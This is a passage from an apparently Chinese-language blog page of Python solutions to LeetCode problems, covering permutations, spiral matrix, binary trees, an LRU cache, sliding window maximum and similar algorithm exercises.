class="line"></span><br></pre></td></tr></table></figure>
<h3 id="46-全排列"><a href="#46-全排列" class="headerlink" title="46. 全排列"></a>46. 全排列</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def permute(self, nums: List[int]) -> List[List[int]]:</span><br><span class="line"> def backtrace(start=0):</span><br><span class="line"> if start == n:</span><br><span class="line"> res.append(nums[:])</span><br><span class="line"> return</span><br><span class="line"> for i in range(start, n):</span><br><span class="line"> nums[start], nums[i] = nums[i], nums[start]</span><br><span class="line"> backtrace(start + 1)</span><br><span class="line"> nums[start], nums[i] = nums[i], nums[start]</span><br><span class="line"> n = len(nums)</span><br><span class="line"> res = []</span><br><span class="line"> backtrace()</span><br><span class="line"> return res</span><br></pre></td></tr></table></figure>
<h3 id="50-Pow-x-n"><a href="#50-Pow-x-n" class="headerlink" title="50. Pow(x, n)"></a>50. Pow(x, n)</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def myPow(self, x: float, n: int) -> float:</span><br><span class="line"> if n < 0:</span><br><span class="line"> x, n = 1 / x, -n</span><br><span class="line"> result = 1.0</span><br><span class="line"> while n:</span><br><span class="line"> if n & 1:</span><br><span class="line"> result *= x</span><br><span class="line"> x *= x</span><br><span class="line"> n >>= 1</span><br><span class="line"> return result</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<h3 id="54-螺旋矩阵"><a href="#54-螺旋矩阵" class="headerlink" title="54. 螺旋矩阵"></a>54. 螺旋矩阵</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def spiralOrder(self, matrix: List[List[int]]) -> List[int]:</span><br><span class="line"> if not len(matrix):</span><br><span class="line"> return []</span><br><span class="line"> m, n, result = len(matrix), len(matrix[0]), []</span><br><span class="line"> for i in range(min(m, n) // 2):</span><br><span class="line"> for j in range(i, n - i):</span><br><span class="line"> result.append(matrix[i][j])</span><br><span class="line"> for j in range(i + 1, m - 1 - i):</span><br><span class="line"> result.append(matrix[j][n - 1 - i])</span><br><span class="line"> for j in reversed(range(i, n - i)):</span><br><span class="line"> result.append(matrix[m - 1 - i][j])</span><br><span class="line"> for j in reversed(range(i + 1, m - 1 - i)):</span><br><span class="line"> result.append(matrix[j][i])</span><br><span class="line"> if m <= n:</span><br><span class="line"> if m & 1:</span><br><span class="line"> i = m // 2</span><br><span class="line"> for j in range(i, n - i):</span><br><span class="line"> result.append(matrix[i][j])</span><br><span class="line"> else:</span><br><span class="line"> if n & 1:</span><br><span class="line"> i = n // 2</span><br><span class="line"> for j in range(i, m - i):</span><br><span class="line"> result.append(matrix[j][i])</span><br><span class="line"> return result</span><br></pre></td></tr></table></figure>
<h3 id="79-单词搜索"><a href="#79-单词搜索" class="headerlink" title="79. 单词搜索"></a>79. 单词搜索</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def exist(self, board: List[List[str]], word: str) -> bool:</span><br><span class="line"> directions = [(1, 0), (-1, 0), (0, 1), (0, -1)]</span><br><span class="line"> def check(i, j, k):</span><br><span class="line"> if board[i][j] != word[k]:</span><br><span class="line"> return False</span><br><span class="line"> if k == len(word) - 1:</span><br><span class="line"> return True</span><br><span class="line"> visited.add((i, j))</span><br><span class="line"> result = False</span><br><span class="line"> for x1, y1 in directions:</span><br><span class="line"> newi, newj = i + x1, j + y1</span><br><span class="line"> if 0 <= newi < len(board) and 0 <= newj < len(board[0]):</span><br><span class="line"> if (newi, newj) not in visited:</span><br><span class="line"> if check(newi, newj, k + 1):</span><br><span class="line"> result = True</span><br><span class="line"> break</span><br><span class="line"> visited.remove((i, j))</span><br><span class="line"> return result</span><br><span class="line"> m, n = len(board), len(board[0])</span><br><span class="line"> visited = set()</span><br><span class="line"> for a in range(m):</span><br><span class="line"> for b in range(n):</span><br><span class="line"> if check(a, b, 0):</span><br><span class="line"> return True</span><br><span class="line"> return False</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<h3 id="89-格雷编码"><a href="#89-格雷编码" class="headerlink" title="89. 格雷编码"></a>89. 格雷编码</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def grayCode(self, n: int) -> List[int]:</span><br><span class="line"> res, head = [0], 1</span><br><span class="line"> for i in range(n):</span><br><span class="line"> for j in range(len(res) - 1, -1, -1):</span><br><span class="line"> res.append(head + res[j])</span><br><span class="line"> head <<= 1</span><br><span class="line"> return res</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<h3 id="104-二叉树的最大深度"><a href="#104-二叉树的最大深度" class="headerlink" title="104. 二叉树的最大深度"></a>104. 二叉树的最大深度</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"># Definition for a binary tree node.</span><br><span class="line"># class TreeNode:</span><br><span class="line"># def __init__(self, val=0, left=None, right=None):</span><br><span class="line"># self.val = val</span><br><span class="line"># self.left = left</span><br><span class="line"># self.right = right</span><br><span class="line">class Solution:</span><br><span class="line"> def maxDepth(self, root: Optional[TreeNode]) -> int:</span><br><span class="line"> if not root:</span><br><span class="line"> return 0</span><br><span class="line"> return 1 + max(self.maxDepth(root.left), self.maxDepth(root.right))</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<h3 id="105-从前序与中序遍历序列构造二叉树"><a href="#105-从前序与中序遍历序列构造二叉树" class="headerlink" title="105. 从前序与中序遍历序列构造二叉树"></a>105. 从前序与中序遍历序列构造二叉树</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"># Definition for a binary tree node.</span><br><span class="line"># class TreeNode:</span><br><span class="line"># def __init__(self, x):</span><br><span class="line"># self.val = x</span><br><span class="line"># self.left = None</span><br><span class="line"># self.right = None</span><br><span class="line"></span><br><span class="line">class Solution:</span><br><span class="line"> def buildTree(self, preorder: List[int], inorder: List[int]) -> TreeNode:</span><br><span class="line"> if len(preorder) == 0:</span><br><span class="line"> return None</span><br><span class="line"> cur = TreeNode(preorder[0])</span><br><span class="line"> i = 0</span><br><span class="line"> while True:</span><br><span class="line"> if inorder[i] == preorder[0]:</span><br><span class="line"> break</span><br><span class="line"> i += 1</span><br><span class="line"> cur.left = self.buildTree(preorder[1:1+i], inorder[:i])</span><br><span class="line"> cur.right = self.buildTree(preorder[1+i:], inorder[i+1:])</span><br><span class="line"> return cur</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<h3 id="110-平衡二叉树"><a href="#110-平衡二叉树" class="headerlink" title="110. 平衡二叉树"></a>110. 平衡二叉树</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"># Definition for a binary tree node.</span><br><span class="line"># class TreeNode:</span><br><span class="line"># def __init__(self, x):</span><br><span class="line"># self.val = x</span><br><span class="line"># self.left = None</span><br><span class="line"># self.right = None</span><br><span class="line"></span><br><span class="line">class Solution:</span><br><span class="line"> def isBalanced(self, root: TreeNode) -> bool:</span><br><span class="line"> def getHeight(root):</span><br><span class="line"> if not root:</span><br><span class="line"> return 0</span><br><span class="line"> leftHeight = getHeight(root.left)</span><br><span class="line"> if leftHeight == -1:</span><br><span class="line"> return -1</span><br><span class="line"> rightHeight = getHeight(root.right)</span><br><span class="line"> if rightHeight == -1:</span><br><span class="line"> return -1</span><br><span class="line"> if abs(leftHeight - rightHeight) <= 1:</span><br><span class="line"> return 1 + max(leftHeight, rightHeight)</span><br><span class="line"> else:</span><br><span class="line"> return -1</span><br><span class="line"> return getHeight(root) >= 0</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<h3 id="113-路径总和-II"><a href="#113-路径总和-II" class="headerlink" title="113. 路径总和 II"></a>113. 路径总和 II</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"># Definition for a binary tree node.</span><br><span class="line"># class TreeNode:</span><br><span class="line"># def __init__(self, val=0, left=None, right=None):</span><br><span class="line"># self.val = val</span><br><span class="line"># self.left = left</span><br><span class="line"># self.right = right</span><br><span class="line">class Solution:</span><br><span class="line"> def pathSum(self, root: Optional[TreeNode], targetSum: int) -> List[List[int]]:</span><br><span class="line"> if not root:</span><br><span class="line"> return []</span><br><span class="line"> if not root.left and not root.right:</span><br><span class="line"> if root.val == targetSum:</span><br><span class="line"> return [[root.val]]</span><br><span class="line"> else:</span><br><span class="line"> return []</span><br><span class="line"> else:</span><br><span class="line"> result = []</span><br><span class="line"> left_result = self.pathSum(root.left, targetSum - root.val)</span><br><span class="line"> for lr in left_result:</span><br><span class="line"> result.append([root.val] + lr)</span><br><span class="line"> right_result = self.pathSum(root.right, targetSum - root.val)</span><br><span class="line"> for rr in right_result:</span><br><span class="line"> result.append([root.val] + rr)</span><br><span class="line"> return result</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<h3 id="146-LRU-缓存"><a href="#146-LRU-缓存" class="headerlink" title="146. LRU 缓存"></a>146. LRU 缓存</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br></pre></td><td class="code"><pre><span class="line">class DLinkedNode:</span><br><span class="line"> def __init__(self, key=0, val=0):</span><br><span class="line"> self.key = key</span><br><span class="line"> self.val = val</span><br><span class="line"> self.prev = None</span><br><span class="line"> self.next = None</span><br><span class="line"></span><br><span class="line">class LRUCache:</span><br><span class="line"></span><br><span class="line"> def __init__(self, capacity: int):</span><br><span class="line"> self.size = 0</span><br><span class="line"> self.capacity = capacity</span><br><span class="line"> self.cache = dict()</span><br><span class="line"> self.head = DLinkedNode()</span><br><span class="line"> self.tail = DLinkedNode()</span><br><span class="line"> self.head.next = self.tail</span><br><span class="line"> self.tail.prev = self.head</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> def get(self, key: int) -> int:</span><br><span class="line"> if key not in self.cache:</span><br><span class="line"> return -1</span><br><span class="line"> node = self.cache[key]</span><br><span class="line"> self.moveToHead(node)</span><br><span class="line"> return node.val</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> def put(self, key: int, value: int) -> None:</span><br><span class="line"> if key in self.cache:</span><br><span class="line"> node = self.cache[key]</span><br><span class="line"> node.val = value</span><br><span class="line"> self.moveToHead(node)</span><br><span class="line"> else:</span><br><span class="line"> node = DLinkedNode(key, value)</span><br><span class="line"> self.cache[key] = node</span><br><span class="line"> self.size += 1</span><br><span class="line"> self.addToHead(node)</span><br><span class="line"> if self.size > self.capacity:</span><br><span class="line"> self.size -= 1</span><br><span class="line"> node = self.removeTail()</span><br><span class="line"> self.cache.pop(node.key)</span><br><span class="line"></span><br><span class="line"> </span><br><span class="line"> def addToHead(self, node):</span><br><span class="line"> node.next = self.head.next</span><br><span class="line"> node.prev = self.head</span><br><span class="line"> self.head.next.prev = node</span><br><span class="line"> self.head.next = node</span><br><span class="line"></span><br><span class="line"> def removeNode(self, node):</span><br><span class="line"> node.prev.next = node.next</span><br><span class="line"> node.next.prev = node.prev</span><br><span class="line"></span><br><span class="line"> def moveToHead(self, node):</span><br><span class="line"> self.removeNode(node)</span><br><span class="line"> self.addToHead(node)</span><br><span class="line"></span><br><span class="line"> def removeTail(self):</span><br><span class="line"> node = self.tail.prev</span><br><span class="line"> self.removeNode(node)</span><br><span class="line"> return node</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"># Your LRUCache object will be instantiated and called as such:</span><br><span class="line"># obj = LRUCache(capacity)</span><br><span class="line"># param_1 = obj.get(key)</span><br><span class="line"># obj.put(key,value)</span><br></pre></td></tr></table></figure>
<h3 id="151-反转字符串中的单词"><a href="#151-反转字符串中的单词" class="headerlink" title="151. 反转字符串中的单词"></a>151. 反转字符串中的单词</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def reverseWords(self, s: str) -> str:</span><br><span class="line"> return ' '.join(reversed(s.split()))</span><br></pre></td></tr></table></figure>
<h3 id="160-相交链表"><a href="#160-相交链表" class="headerlink" title="160. 相交链表"></a>160. 相交链表</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"># Definition for singly-linked list.</span><br><span class="line"># class ListNode:</span><br><span class="line"># def __init__(self, x):</span><br><span class="line"># self.val = x</span><br><span class="line"># self.next = None</span><br><span class="line"></span><br><span class="line">class Solution:</span><br><span class="line"> def getIntersectionNode(self, headA: ListNode, headB: ListNode) -> Optional[ListNode]:</span><br><span class="line"> if not headA or not headB:</span><br><span class="line"> return None</span><br><span class="line"> left, right = headA, headB</span><br><span class="line"> while left != right:</span><br><span class="line"> if left:</span><br><span class="line"> left = left.next</span><br><span class="line"> else:</span><br><span class="line"> left = headB</span><br><span class="line"> if right:</span><br><span class="line"> right = right.next</span><br><span class="line"> else:</span><br><span class="line"> right = headA</span><br><span class="line"> return left</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<h3 id="169-多数元素"><a href="#169-多数元素" class="headerlink" title="169. 多数元素"></a>169. 多数元素</h3><p>ref: <a target="_blank" rel="noopener" href="https://leetcode.cn/problems/shu-zu-zhong-chu-xian-ci-shu-chao-guo-yi-ban-de-shu-zi-lcof/solution/shu-zu-zhong-chu-xian-ci-shu-chao-guo-yi-pvh8/">https://leetcode.cn/problems/shu-zu-zhong-chu-xian-ci-shu-chao-guo-yi-ban-de-shu-zi-lcof/solution/shu-zu-zhong-chu-xian-ci-shu-chao-guo-yi-pvh8/</a><br>摩尔投票法, time: O(n), space: O(1)<br><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def majorityElement(self, nums: List[int]) -> int:</span><br><span class="line"> count, candidate = 0, None</span><br><span class="line"> for num in nums:</span><br><span class="line"> if count == 0:</span><br><span class="line"> candidate = num</span><br><span class="line"> if candidate == num:</span><br><span class="line"> count += 1</span><br><span class="line"> else:</span><br><span class="line"> count -= 1</span><br><span class="line"> return candidate</span><br><span class="line"></span><br></pre></td></tr></table></figure></p>
<h3 id="191-位1的个数"><a href="#191-位1的个数" class="headerlink" title="191. 位1的个数"></a>191. 位1的个数</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def hammingWeight(self, n: int) -> int:</span><br><span class="line"> result = 0</span><br><span class="line"> while n > 0:</span><br><span class="line"> result += (n & 1)</span><br><span class="line"> n >>= 1</span><br><span class="line"> return result</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<h3 id="233-数字-1-的个数"><a href="#233-数字-1-的个数" class="headerlink" title="233. 数字 1 的个数"></a>233. 数字 1 的个数</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def countDigitOne(self, n: int) -> int:</span><br><span class="line"> digit, res = 1, 0</span><br><span class="line"> high, cur, low = n // 10, n % 10, 0</span><br><span class="line"> while high != 0 or cur != 0:</span><br><span class="line"> if cur == 0:</span><br><span class="line"> res += high * digit</span><br><span class="line"> elif cur == 1:</span><br><span class="line"> res += high * digit + low + 1</span><br><span class="line"> else:</span><br><span class="line"> res += (high + 1) * digit</span><br><span class="line"> low += cur * digit</span><br><span class="line"> cur = high % 10</span><br><span class="line"> high //= 10</span><br><span class="line"> digit *= 10</span><br><span class="line"> return res</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<h3 id="235-二叉搜索树的最近公共祖先"><a href="#235-二叉搜索树的最近公共祖先" class="headerlink" title="235. 二叉搜索树的最近公共祖先"></a>235. 二叉搜索树的最近公共祖先</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"># Definition for a binary tree node.</span><br><span class="line"># class TreeNode:</span><br><span class="line"># def __init__(self, x):</span><br><span class="line"># self.val = x</span><br><span class="line"># self.left = None</span><br><span class="line"># self.right = None</span><br><span class="line"></span><br><span class="line">class Solution:</span><br><span class="line"> def lowestCommonAncestor(self, root: 'TreeNode', p: 'TreeNode', q: 'TreeNode') -> 'TreeNode':</span><br><span class="line"> result = root</span><br><span class="line"> while True:</span><br><span class="line"> if result.val > p.val and result.val > q.val:</span><br><span class="line"> result = result.left</span><br><span class="line"> elif result.val < p.val and result.val < q.val:</span><br><span class="line"> result = result.right</span><br><span class="line"> else:</span><br><span class="line"> break</span><br><span class="line"> return result</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<h3 id="236-二叉树的最近公共祖先"><a href="#236-二叉树的最近公共祖先" class="headerlink" title="236. 二叉树的最近公共祖先"></a>236. 二叉树的最近公共祖先</h3><p>recursion, time: O(n), space:O(n)<br><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"># Definition for a binary tree node.</span><br><span class="line"># class TreeNode:</span><br><span class="line"># def __init__(self, x):</span><br><span class="line"># self.val = x</span><br><span class="line"># self.left = None</span><br><span class="line"># self.right = None</span><br><span class="line"></span><br><span class="line">class Solution:</span><br><span class="line"> def lowestCommonAncestor(self, root: TreeNode, p: TreeNode, q: TreeNode) -> TreeNode:</span><br><span class="line"> if not root or root.val == p.val or root.val == q.val:</span><br><span class="line"> return root</span><br><span class="line"> left = self.lowestCommonAncestor(root.left, p, q)</span><br><span class="line"> right = self.lowestCommonAncestor(root.right, p, q)</span><br><span class="line"> if not left and not right:</span><br><span class="line"> return None</span><br><span class="line"> elif not left:</span><br><span class="line"> return right</span><br><span class="line"> elif not right:</span><br><span class="line"> return left</span><br><span class="line"> else:</span><br><span class="line"> return root</span><br><span class="line"> </span><br></pre></td></tr></table></figure></p>
<h3 id="239-滑动窗口最大值"><a href="#239-滑动窗口最大值" class="headerlink" title="239. 滑动窗口最大值"></a>239. 滑动窗口最大值</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def maxSlidingWindow(self, nums: List[int], k: int) -> List[int]:</span><br><span class="line"> deque = collections.deque()</span><br><span class="line"> res, n = [], len(nums)</span><br><span class="line"> for i, j in zip(range(1 - k, 1 - k + n), range(n)):</span><br><span class="line"> if i > 0 and deque[0] == nums[i - 1]:</span><br><span class="line"> deque.popleft()</span><br><span class="line"> while deque and deque[-1] < nums[j]:</span><br><span class="line"> deque.pop()</span><br><span class="line"> deque.append(nums[j])</span><br><span class="line"> if i >= 0:</span><br><span class="line"> res.append(deque[0])</span><br><span class="line"> return res</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<h3 id="240-搜索二维矩阵-II"><a href="#240-搜索二维矩阵-II" class="headerlink" title="240. 搜索二维矩阵 II"></a>240. 搜索二维矩阵 II</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def searchMatrix(self, matrix: List[List[int]], target: int) -> bool:</span><br><span class="line"> m, n = len(matrix), len(matrix[0])</span><br><span class="line"> i, j = m - 1, 0</span><br><span class="line"> while i >= 0 and j < n:</span><br><span class="line"> if matrix[i][j] == target:</span><br><span class="line"> return True</span><br><span class="line"> elif matrix[i][j] > target:</span><br><span class="line"> i -= 1</span><br><span class="line"> else:</span><br><span class="line"> j += 1</span><br><span class="line"> return False</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<h3 id="264-丑数-II"><a href="#264-丑数-II" class="headerlink" title="264. 丑数 II"></a>264. 丑数 II</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def nthUglyNumber(self, n: int) -> int:</span><br><span class="line"> res = [0] * (n + 1)</span><br><span class="line"> res[1] = 1</span><br><span class="line"> p2, p3, p5 = 1, 1, 1</span><br><span class="line"> for i in range(2, n + 1):</span><br><span class="line"> res[i] = min(2 * res[p2], 3 * res[p3], 5 * res[p5])</span><br><span class="line"> if res[i] == 2 * res[p2]:</span><br><span class="line"> p2 += 1</span><br><span class="line"> if res[i] == 3 * res[p3]:</span><br><span class="line"> p3 += 1</span><br><span class="line"> if res[i] == 5 * res[p5]:</span><br><span class="line"> p5 += 1</span><br><span class="line"> return res[-1]</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<h3 id="283-移动零"><a href="#283-移动零" class="headerlink" title="283. 移动零"></a>283. 移动零</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def moveZeroes(self, nums: List[int]) -> None:</span><br><span class="line"> """</span><br><span class="line"> Do not return anything, modify nums in-place instead.</span><br><span class="line"> """</span><br><span class="line"> left = right = 0</span><br><span class="line"> while right < len(nums):</span><br><span class="line"> if nums[right] != 0:</span><br><span class="line"> nums[left], nums[right] = nums[right], nums[left]</span><br><span class="line"> left += 1</span><br><span class="line"> right += 1</span><br></pre></td></tr></table></figure>
